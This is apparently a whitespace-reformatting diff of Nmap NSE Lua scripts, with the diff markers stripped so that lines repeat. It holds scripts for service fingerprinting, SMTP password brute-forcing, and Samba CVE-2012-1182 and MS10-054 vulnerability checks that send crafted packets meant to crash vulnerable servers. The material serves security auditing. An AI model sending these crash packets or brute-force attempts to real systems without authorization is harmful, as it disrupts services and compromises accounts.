["used_memory_human"] = { name = "Used memory"},
["role"] = { name = "Role"}
["redis_version"] = { name = "Version", func = cb_parse_version },
["os"] = { name = "Operating System" },
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
["process_id"] = { name = "Process ID"},
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
["used_cpu_sys"]= { name = "Used CPU (sys)"},
["used_cpu_user"] = { name = "Used CPU (user)"},
["connected_clients"] = { name = "Connected clients"},
["connected_slaves"] = { name = "Connected slaves"},
["used_memory_human"] = { name = "Used memory"},
["role"] = { name = "Role"}
}
local order = {
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
"used_cpu_user", "connected_clients", "connected_slaves",
"used_memory_human", "role"
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
"used_cpu_user", "connected_clients", "connected_slaves",
"used_memory_human", "role"
}
action = function(host, port)
local helper = redis.Helper:new(host, port)
local status = helper:connect()
if( not(status) ) then
return fail("Failed to connect to server")
end
local helper = redis.Helper:new(host, port)
local status = helper:connect()
if( not(status) ) then
return fail("Failed to connect to server")
end
-- do we have a service password
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
-- do we have a service password
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
if ( cred and cred.pass ) then
local status, response = helper:reqCmd("AUTH", cred.pass)
if ( not(status) ) then
helper:close()
return fail(response)
end
end
if ( cred and cred.pass ) then
local status, response = helper:reqCmd("AUTH", cred.pass)
if ( not(status) ) then
helper:close()
return fail(response)
end
end
local status, response = helper:reqCmd("INFO")
if ( not(status) ) then
helper:close()
return fail(response)
end
helper:close()
local status, response = helper:reqCmd("INFO")
if ( not(status) ) then
helper:close()
return fail(response)
end
helper:close()
if ( redis.Response.Type.ERROR == response.type ) then
if ( "-ERR operation not permitted" == response.data ) or
( "-NOAUTH Authentication required." == response.data ) then
return fail("Authentication required")
end
return fail(response.data)
end
if ( redis.Response.Type.ERROR == response.type ) then
if ( "-ERR operation not permitted" == response.data ) or
( "-NOAUTH Authentication required." == response.data ) then
return fail("Authentication required")
end
return fail(response.data)
end
local restab = stdnse.strsplit("\r\n", response.data)
if ( not(restab) or 0 == #restab ) then
return fail("Failed to parse response from server")
end
local restab = stdnse.strsplit("\r\n", response.data)
if ( not(restab) or 0 == #restab ) then
return fail("Failed to parse response from server")
end
local kvs = {}
for _, item in ipairs(restab) do
local k, v = item:match("^([^:]*):(.*)$")
if k ~= nil then
kvs[k] = v
end
end
local kvs = {}
for _, item in ipairs(restab) do
local k, v = item:match("^([^:]*):(.*)$")
if k ~= nil then
kvs[k] = v
end
end
local result = tab.new(2)
for _, item in ipairs(order) do
if kvs[item] then
local name = filter[item].name
local val
local result = tab.new(2)
for _, item in ipairs(order) do
if kvs[item] then
local name = filter[item].name
local val
if filter[item].func then
val = filter[item].func(host, port, kvs[item])
else
val = kvs[item]
end
tab.addrow(result, name, val)
end
end
return stdnse.format_output(true, tab.dump(result))
if filter[item].func then
val = filter[item].func(host, port, kvs[item])
else
val = kvs[item]
end
tab.addrow(result, name, val)
end
end
return stdnse.format_output(true, tab.dump(result))
end

View File

@@ -57,49 +57,49 @@ categories = {"discovery", "safe"}
portrule = shortport.port_or_service(8098, "http")
local filter = {
["sys_system_architecture"] = { name = "Architecture" },
["mem_total"] = { name = "Total Memory" },
["crypto_version"] = { name = "Crypto version" },
["skerl_version"] = { name = "Skerl version" },
["os_mon_version"] = { name = "OS mon. version" },
["nodename"] = { name = "Node name" },
["basho_stats_version"] = { name = "Basho version" },
["lager_version"] = { name = "Lager version" },
["cluster_info_version"] = { name = "Cluster info version" },
["luke_version"] = { name = "Luke version" },
["sasl_version"] = { name = "SASL version" },
["sys_driver_version"] = { name = "System driver version" },
["bitcask_version"] = { name = "Bitcask version" },
["riak_search_version"] = { name = "Riak search version" },
["kernel_version"] = { name = "Riak kernel version" },
["stdlib_version"] = { name = "Riak stdlib version" },
["basho_metrics_version"] = { name = "Basho metrics version" },
["webmachine_version"] = { name = "WebMachine version" },
["public_key_version"] = { name = "Public key version" },
["riak_core_version"] = { name = "Riak vore version" },
["riak_pipe_version"] = { name = "Riak pipe version" },
["runtime_tools_version"] = { name = "Runtime tools version" },
["ssl_version"] = { name = "SSL version" },
["mochiweb_version"] = { name = "MochiWeb version"},
["erlang_js_version"] = { name = "Erlang JavaScript version" },
["riak_kv_version"] = { name = "Riak kv version" },
["luwak_version"] = { name = "Luwak version"},
["merge_index_version"] = { name = "Merge index version" },
["inets_version"] = { name = "Inets version" },
["storage_backend"] = { name = "Storage backend" },
["riak_sysmon_version"] = { name = "Riak sysmon version" },
["sys_system_architecture"] = { name = "Architecture" },
["mem_total"] = { name = "Total Memory" },
["crypto_version"] = { name = "Crypto version" },
["skerl_version"] = { name = "Skerl version" },
["os_mon_version"] = { name = "OS mon. version" },
["nodename"] = { name = "Node name" },
["basho_stats_version"] = { name = "Basho version" },
["lager_version"] = { name = "Lager version" },
["cluster_info_version"] = { name = "Cluster info version" },
["luke_version"] = { name = "Luke version" },
["sasl_version"] = { name = "SASL version" },
["sys_driver_version"] = { name = "System driver version" },
["bitcask_version"] = { name = "Bitcask version" },
["riak_search_version"] = { name = "Riak search version" },
["kernel_version"] = { name = "Riak kernel version" },
["stdlib_version"] = { name = "Riak stdlib version" },
["basho_metrics_version"] = { name = "Basho metrics version" },
["webmachine_version"] = { name = "WebMachine version" },
["public_key_version"] = { name = "Public key version" },
["riak_core_version"] = { name = "Riak vore version" },
["riak_pipe_version"] = { name = "Riak pipe version" },
["runtime_tools_version"] = { name = "Runtime tools version" },
["ssl_version"] = { name = "SSL version" },
["mochiweb_version"] = { name = "MochiWeb version"},
["erlang_js_version"] = { name = "Erlang JavaScript version" },
["riak_kv_version"] = { name = "Riak kv version" },
["luwak_version"] = { name = "Luwak version"},
["merge_index_version"] = { name = "Merge index version" },
["inets_version"] = { name = "Inets version" },
["storage_backend"] = { name = "Storage backend" },
["riak_sysmon_version"] = { name = "Riak sysmon version" },
}
local order = {
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
"sys_driver_version", "bitcask_version", "riak_search_version",
"kernel_version", "stdlib_version", "basho_metrics_version",
"webmachine_version", "public_key_version", "riak_core_version",
"riak_pipe_version", "runtime_tools_version", "ssl_version",
"mochiweb_version", "erlang_js_version", "riak_kv_version",
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
"nodename", "sys_system_architecture", "storage_backend", "mem_total",
"crypto_version", "skerl_version", "os_mon_version", "basho_stats_version",
"lager_version", "cluster_info_version", "luke_version", "sasl_version",
"sys_driver_version", "bitcask_version", "riak_search_version",
"kernel_version", "stdlib_version", "basho_metrics_version",
"webmachine_version", "public_key_version", "riak_core_version",
"riak_pipe_version", "runtime_tools_version", "ssl_version",
"mochiweb_version", "erlang_js_version", "riak_kv_version",
"luwak_version", "merge_index_version", "inets_version", "riak_sysmon_version"
}
@@ -107,39 +107,39 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
action = function(host, port)
local response = http.get(host, port, "/stats")
local response = http.get(host, port, "/stats")
if ( not(response) or response.status ~= 200 ) then
return
end
if ( not(response) or response.status ~= 200 ) then
return
end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false
end
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
local _, http_status, _ = http.identify_404(host,port)
if ( http_status == 200 ) then
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
return false
end
-- Silently abort if the server responds as anything different than
-- MochiWeb
if ( response.header['server'] and
not(response.header['server']:match("MochiWeb")) ) then
return
end
-- Silently abort if the server responds as anything different than
-- MochiWeb
if ( response.header['server'] and
not(response.header['server']:match("MochiWeb")) ) then
return
end
local status, parsed = json.parse(response.body)
if ( not(status) ) then
return fail("Failed to parse response")
end
local status, parsed = json.parse(response.body)
if ( not(status) ) then
return fail("Failed to parse response")
end
local result = tab.new(2)
for _, item in ipairs(order) do
if ( parsed[item] ) then
local name = filter[item].name
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
tab.addrow(result, name, val)
end
end
return stdnse.format_output(true, tab.dump(result))
local result = tab.new(2)
for _, item in ipairs(order) do
if ( parsed[item] ) then
local name = filter[item].name
local val = ( filter[item].func and filter[item].func(parsed[item]) or parsed[item] )
tab.addrow(result, name, val)
end
end
return stdnse.format_output(true, tab.dump(result))
end
end

View File

@@ -62,69 +62,69 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host,port)
local result, stats
local response = {}
local result, stats
local response = {}
local samba_cve = {
title = "SAMBA remote heap overflow",
IDS = {CVE = 'CVE-2012-1182'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
local samba_cve = {
title = "SAMBA remote heap overflow",
IDS = {CVE = 'CVE-2012-1182'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
Samba versions 3.6.3 and all versions previous to this are affected by
a vulnerability that allows remote code execution as the "root" user
from an anonymous connection.
]],
references = {
'http://www.samba.org/samba/security/CVE-2012-1182',
},
dates = {
disclosure = {year = '2012', month = '03', day = '15'},
},
exploit_results = {},
}
]],
references = {
'http://www.samba.org/samba/security/CVE-2012-1182',
},
dates = {
disclosure = {year = '2012', month = '03', day = '15'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
samba_cve.state = vulns.STATE.NOT_VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
samba_cve.state = vulns.STATE.NOT_VULN
-- create SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
if(status == false) then
return false, smbstate
end
-- create SMB session
local status, smbstate
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH,true)
if(status == false) then
return false, smbstate
end
-- bind to SAMR service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- bind to SAMR service
local bind_result
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
return false, bind_result
end
-- create malicious packet, same as in the PoC
local data = bin.pack("<I",4096) -- num_sids
.. "abcd"
..bin.pack("<III",100
,0
,100)
..string.rep("a",1000)
-- create malicious packet, same as in the PoC
local data = bin.pack("<I",4096) -- num_sids
.. "abcd"
..bin.pack("<III",100
,0
,100)
..string.rep("a",1000)
local marshaledHandle = string.rep("X",20)
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
end
local marshaledHandle = string.rep("X",20)
status, result = msrpc.samr_getaliasmembership(smbstate,marshaledHandle, data)
stdnse.print_debug(2, "msrpc.samr_getaliasmembership: %s, '%s'", status, result)
if(status == false and string.find(result,"Failed to receive bytes after 5 attempts") ~= nil) then
samba_cve.state = vulns.STATE.VULN -- connection droped, server crashed
end
return report:make_output(samba_cve)
return report:make_output(samba_cve)
end

View File

@@ -28,7 +28,7 @@ which you can specify trough smb library arguments <code>smbuser</code> and
-- |_smb-print-text: Printer job started using MyPrinter printer share.
--
-- @args printer Printer share name. Optional, by default script tries to enumerate available printer shares.
-- @args text Text to print. Either text or filename need to be specified.
-- @args text Text to print. Either text or filename need to be specified.
-- @args filename File to read text from (ASCII only).
--
@@ -37,98 +37,98 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
action = function(host,port)
local status, smbstate
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
if (not text) and (not filename) then
stdnse.print_debug("Script requires either text or filename script argument.")
return false
end
local text_to_print
if text then
text_to_print = text
else
-- read text from file
local file = io.open(filename, "rb")
text_to_print = file:read("*all")
end
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then
stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate
end
local status, smbstate
local text = stdnse.get_script_args(SCRIPT_NAME .. '.text')
local filename = stdnse.get_script_args(SCRIPT_NAME .. '.filename')
if (not text) and (not filename) then
stdnse.print_debug("Script requires either text or filename script argument.")
return false
end
local text_to_print
if text then
text_to_print = text
else
-- read text from file
local file = io.open(filename, "rb")
text_to_print = file:read("*all")
end
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
if(status == false) then
stdnse.print_debug("SMB: " .. smbstate)
return false, smbstate
end
local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result
end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers
if not printer then
stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then
stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
return false
end
local bind_result
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
if(status == false) then
msrpc.stop_smb(smbstate)
stdnse.print_debug("SMB: " .. bind_result)
return false, bind_result
end
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
-- if printer not set find available printers
if not printer then
stdnse.print_debug("No printer specified, trying to find one...")
local lanman_result
local REMSmb_NetShareEnum_P = "WrLeh"
local REMSmb_share_info_1 = "B13BWz"
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
if status == false then
stdnse.print_debug("SMB: " .. lanman_result)
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
return false
end
local parameters = lanman_result.parameters
local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0
local share_type, name, _
for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos)
local parameters = lanman_result.parameters
local data = lanman_result.data
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
pos = 0
local share_type, name, _
for i = 1, entry_count, 1 do
_,share_type = bin.unpack(">s",data,pos+14)
pos, name = bin.unpack("<z", data, pos)
-- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name)
printer = name
end
end
end
if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false
end
stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then
return false
end
local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
if not status then
return false
end
local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- pos needs to be rounded to the next even multiple of 20
pos = pos + ( 20 - (#name % 20) ) - 1
if share_type == 1 then -- share is printer
stdnse.print_debug("Found printer share %s.", name)
printer = name
end
end
end
if not printer then
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
return false
end
stdnse.print_debug("Using %s as printer.",printer)
-- call RpcOpenPrinterEx - opnum 69
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
if not status then
return false
end
local printer_handle = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
-- call RpcStartDocPrinter - opnum 17
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,"nmap_print_test.txt") -- patched version will allow this
if not status then
return false
end
local print_job_id = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
-- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
if not status then
return false
end
local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
-- call RpcWritePrinter - 19
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,text_to_print)
if not status then
return false
end
local write_result = string.sub(result.data,25,#result.data-4)
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
status,result = msrpc.spoolss_end_doc_printer(smbstate,printer_handle)
return string.format("Printer job started using <%s> printer share.", printer)
return string.format("Printer job started using <%s> printer share.", printer)
end

View File

@@ -45,102 +45,102 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln","intrusive","dos"}
hostrule = function(host)
return smb.get_port(host) ~= nil
return smb.get_port(host) ~= nil
end
-- stolen from smb.lua as max data count needed to be modified to trigger the crash
local function send_transaction2(smbstate, sub_command, function_parameters)
local header, parameters, data, command
local parameter_offset = 0
local parameter_size = 0
local data_offset = 0
local data_size = 0
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
local response = {}
local header, parameters, data, command
local parameter_offset = 0
local parameter_size = 0
local data_offset = 0
local data_size = 0
local total_word_count, total_data_count, reserved1, parameter_count, parameter_displacement, data_count, data_displacement, setup_count, reserved2
local response = {}
-- Header is 0x20 bytes long (not counting NetBIOS header).
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
-- Header is 0x20 bytes long (not counting NetBIOS header).
header = smb.smb_encode_header(smbstate, smb.command_codes['SMB_COM_TRANSACTION2'], {}) -- 0x32 = SMB_COM_TRANSACTION2
if(function_parameters) then
parameter_offset = 0x44
parameter_size = #function_parameters
data_offset = #function_parameters + 33 + 32
end
if(function_parameters) then
parameter_offset = 0x44
parameter_size = #function_parameters
data_offset = #function_parameters + 33 + 32
end
-- Parameters are 0x20 bytes long.
parameters = bin.pack("<SSSSCCSISSSSSCCS",
parameter_size, -- Total parameter count.
data_size, -- Total data count.
0x000a, -- Max parameter count.
0x000a, -- Max data count, less than 12 causes a crash
0x00, -- Max setup count.
0x00, -- Reserved.
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
0x00001388, -- Timeout (0x00000000 = return immediately).
0x0000, -- Reserved.
parameter_size, -- Parameter bytes.
parameter_offset, -- Parameter offset.
data_size, -- Data bytes.
data_offset, -- Data offset.
0x01, -- Setup Count
0x00, -- Reserved
sub_command -- Sub command
)
-- Parameters are 0x20 bytes long.
parameters = bin.pack("<SSSSCCSISSSSSCCS",
parameter_size, -- Total parameter count.
data_size, -- Total data count.
0x000a, -- Max parameter count.
0x000a, -- Max data count, less than 12 causes a crash
0x00, -- Max setup count.
0x00, -- Reserved.
0x0000, -- Flags (0x0000 = 2-way transaction, don't disconnect TIDs).
0x00001388, -- Timeout (0x00000000 = return immediately).
0x0000, -- Reserved.
parameter_size, -- Parameter bytes.
parameter_offset, -- Parameter offset.
data_size, -- Data bytes.
data_offset, -- Data offset.
0x01, -- Setup Count
0x00, -- Reserved
sub_command -- Sub command
)
local data = "\0\0\0" .. (function_parameters or '')
local data = "\0\0\0" .. (function_parameters or '')
-- Send the transaction request
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
if(result == false) then
return false, err
end
-- Send the transaction request
stdnse.print_debug(2, "SMB: Sending SMB_COM_TRANSACTION2")
local result, err = smb.smb_send(smbstate, header, parameters, data, {})
if(result == false) then
return false, err
end
return true
return true
end
action = function(host,port)
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
stdnse.print_debug("You must specify unsafe script argument to run this script.")
return false
end
local ms10_054 = {
title = "SMB remote memory corruption vulnerability",
IDS = {CVE = 'CVE-2010-2550'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
if not stdnse.get_script_args(SCRIPT_NAME .. '.unsafe') then
stdnse.print_debug("You must specify unsafe script argument to run this script.")
return false
end
local ms10_054 = {
title = "SMB remote memory corruption vulnerability",
IDS = {CVE = 'CVE-2010-2550'},
risk_factor = "HIGH",
scores = {
CVSSv2 = "10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C)",
},
description = [[
The SMB Server in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate fields in an SMB request, which allows remote attackers
to execute arbitrary code via a crafted SMB packet, aka "SMB Pool Overflow Vulnerability."
]],
references = {
'http://seclists.org/fulldisclosure/2010/Aug/122',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
},
dates = {
disclosure = {year = '2010', month = '08', day = '11'},
},
exploit_results = {},
}
]],
references = {
'http://seclists.org/fulldisclosure/2010/Aug/122',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2550'
},
dates = {
disclosure = {year = '2010', month = '08', day = '11'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_054.state = vulns.STATE.NOT_VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
ms10_054.state = vulns.STATE.NOT_VULN
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
local share = stdnse.get_script_args(SCRIPT_NAME .. '.share') or "SharedDocs"
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
local status, smbstate = smb.start_ex(host, true, true, share, nil, nil, nil)
local param = "0501" -- Query FS Attribute Info
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
if not status then -- if not , it has crashed
ms10_054.state = vulns.STATE.VULN
else
stdnse.print_debug("Machine is not vulnerable")
end
return report:make_output(ms10_054)
local param = "0501" -- Query FS Attribute Info
local status, result = send_transaction2(smbstate,0x03,bin.pack("H",param))
status, result = smb.smb_read(smbstate,true) -- see if we can still talk to the victim
if not status then -- if not , it has crashed
ms10_054.state = vulns.STATE.VULN
else
stdnse.print_debug("Machine is not vulnerable")
end
return report:make_output(ms10_054)
end

View File

@@ -47,93 +47,93 @@ ConnectionPool = {}
Driver =
{
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new driver instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param pool an instance of the ConnectionPool
new = function(self, host, port)
local o = { host = host, port = port }
setmetatable(o, self)
self.__index = self
return o
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.socket = ConnectionPool[coroutine.running()]
if ( not(self.socket) ) then
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
if ( not(self.socket) ) then return false end
ConnectionPool[coroutine.running()] = self.socket
end
return true
end,
-- Connects to the server (retrieves a connection from the pool)
connect = function( self )
self.socket = ConnectionPool[coroutine.running()]
if ( not(self.socket) ) then
self.socket = smtp.connect(self.host, self.port, { ssl = true, recv_before = true })
if ( not(self.socket) ) then return false end
ConnectionPool[coroutine.running()] = self.socket
end
return true
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = smtp.login( self.socket, username, password, mech )
if ( status ) then
smtp.quit(self.socket)
ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .*") ) then
self.socket:close()
ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Attempts to login to the server
-- @param username string containing the username
-- @param password string containing the password
-- @return status true on success, false on failure
-- @return brute.Error on failure and brute.Account on success
login = function( self, username, password )
local status, err = smtp.login( self.socket, username, password, mech )
if ( status ) then
smtp.quit(self.socket)
ConnectionPool[coroutine.running()] = nil
return true, brute.Account:new(username, password, creds.State.VALID)
end
if ( err:match("^ERROR: Failed to .*") ) then
self.socket:close()
ConnectionPool[coroutine.running()] = nil
local err = brute.Error:new( err )
-- This might be temporary, set the retry flag
err:setRetry( true )
return false, err
end
return false, brute.Error:new( "Incorrect password" )
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
-- Disconnects from the server (release the connection object back to
-- the pool)
disconnect = function( self )
return true
end,
}
action = function(host, port)
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
local mechs = smtp.get_auth_mech(response)
if ( not(mechs) ) then
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
end
smtp.quit(socket)
local socket, response = smtp.connect(host, port, { ssl = true, recv_before = true })
if ( not(socket) ) then return "\n ERROR: Failed to connect to SMTP server" end
local status, response = smtp.ehlo(socket, smtp.get_domain(host))
if ( not(status) ) then return "\n ERROR: EHLO command failed, aborting ..." end
local mechs = smtp.get_auth_mech(response)
if ( not(mechs) ) then
return "\n ERROR: Failed to retrieve authentication mechanisms form server"
end
smtp.quit(socket)
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
local mech_prio = stdnse.get_script_args("smtp-brute.auth")
mech_prio = ( mech_prio and { mech_prio } ) or
{ "LOGIN", "PLAIN", "CRAM-MD5", "DIGEST-MD5", "NTLM" }
for _, mp in ipairs(mech_prio) do
for _, m in pairs(mechs) do
if ( mp == m ) then
mech = m
break
end
end
if ( mech ) then break end
end
for _, mp in ipairs(mech_prio) do
for _, m in pairs(mechs) do
if ( mp == m ) then
mech = m
break
end
end
if ( mech ) then break end
end
local engine = brute.Engine:new(Driver, host, port)
local engine = brute.Engine:new(Driver, host, port)
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
engine.options.script_name = SCRIPT_NAME
local result
status, result = engine:start()
for _, sock in pairs(ConnectionPool) do sock:close() end
for _, sock in pairs(ConnectionPool) do sock:close() end
return result
return result
end

View File

@@ -22,121 +22,121 @@ categories = {"discovery", "intrusive"}
-- okay, we're interested only in hosts that are on our ethernet lan
hostrule = function(host)
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if host.directly_connected == true and
host.mac_addr ~= nil and
host.mac_addr_src ~= nil and
host.interface ~= nil then
local iface = nmap.get_interface_info(host.interface)
if iface and iface.link == 'ethernet' then
return true
end
end
return false
if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
if host.directly_connected == true and
host.mac_addr ~= nil and
host.mac_addr_src ~= nil and
host.interface ~= nil then
local iface = nmap.get_interface_info(host.interface)
if iface and iface.link == 'ethernet' then
return true
end
end
return false
end
local function check (layer2)
return string.sub(layer2, 0, 12)
return string.sub(layer2, 0, 12)
end
do_test = function(dnet, pcap, host, test)
local status, length, layer2, layer3
local i = 0
local status, length, layer2, layer3
local i = 0
-- ARP requests are send with timeouts: 10ms, 40ms, 90ms
-- before each try, we wait at least 100ms
-- in summary, this test takes at least 100ms and at most 440ms
for i=1,3 do
-- flush buffers :), wait quite long.
repeat
pcap:set_timeout(100)
local test = host.mac_addr_src .. host.mac_addr
status, length, layer2, layer3 = pcap:pcap_receive()
while status and test ~= check(layer2) do
status, length, layer2, layer3 = pcap:pcap_receive()
end
until status ~= true
